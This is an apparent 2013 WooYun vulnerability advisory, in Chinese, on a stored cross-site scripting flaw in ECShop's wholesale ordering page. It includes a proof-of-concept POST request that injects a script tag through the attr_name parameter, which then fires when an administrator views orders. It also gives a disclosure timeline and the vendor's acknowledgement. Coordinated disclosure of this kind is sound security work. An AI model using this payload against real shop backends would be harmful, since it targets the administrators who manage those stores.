漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-027664
漏洞标题：ecshop最新版本存储XSS至后台(2)
相关厂商：ShopEx
漏洞作者： blue
提交时间：2013-07-04 00:48
修复时间：2013-10-02 00:49
公开时间：2013-10-02 00:49
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-07-04： 细节已通知厂商并且等待厂商处理中
2013-07-04： 厂商已经确认，细节仅向厂商公开
2013-07-07： 细节向第三方安全合作伙伴开放
2013-08-28： 细节向核心白帽子及相关领域专家公开
2013-09-07： 细节向普通白帽子公开
2013-09-17： 细节向实习白帽子公开
2013-10-02： 细节向公众公开
简要描述：
可打后台常用位置，算是必中XSS～～（PS:写漏洞标题时文本框自动补全“ecshop最新版本存储XSS至后台”，于是随手加了个2）
详细说明：
在批发页面，/wholesale.php，提交订单时商品属性attr_name插入xss代码，后台查看订单（对于一个商城来说，订单管理最常用了吧？所以能XSS就能中）执行xss代码。
注：此处之前提交过 WooYun: ecshop最新版本前台二次注入系列(2) ,下了最新版的看到二次注入已修复，随即想到XSS一下会怎么样了呐？
测试代码：
http://localhost/test/ecshop/wholesale.php?act=add_to_cart
POST: act_id=1&goods_number[1][0]=100&attr_id[1][0][0][attr_id]=120&attr_id[1][0][0][attr_val_id]=0&attr_id[1][0][0][attr_name]=a%27%3Cscript%3Ealert%281%29%3C%2Fscript%3E
漏洞证明：
修复方案：
过滤呗～
版权声明：转载请注明来源 blue@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2013-07-04 01:00
厂商回复：
非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢
最新状态：
暂无
( 普通白帽子 | Rank:779 漏洞数:70 | 我心中有猛虎，细嗅蔷薇。)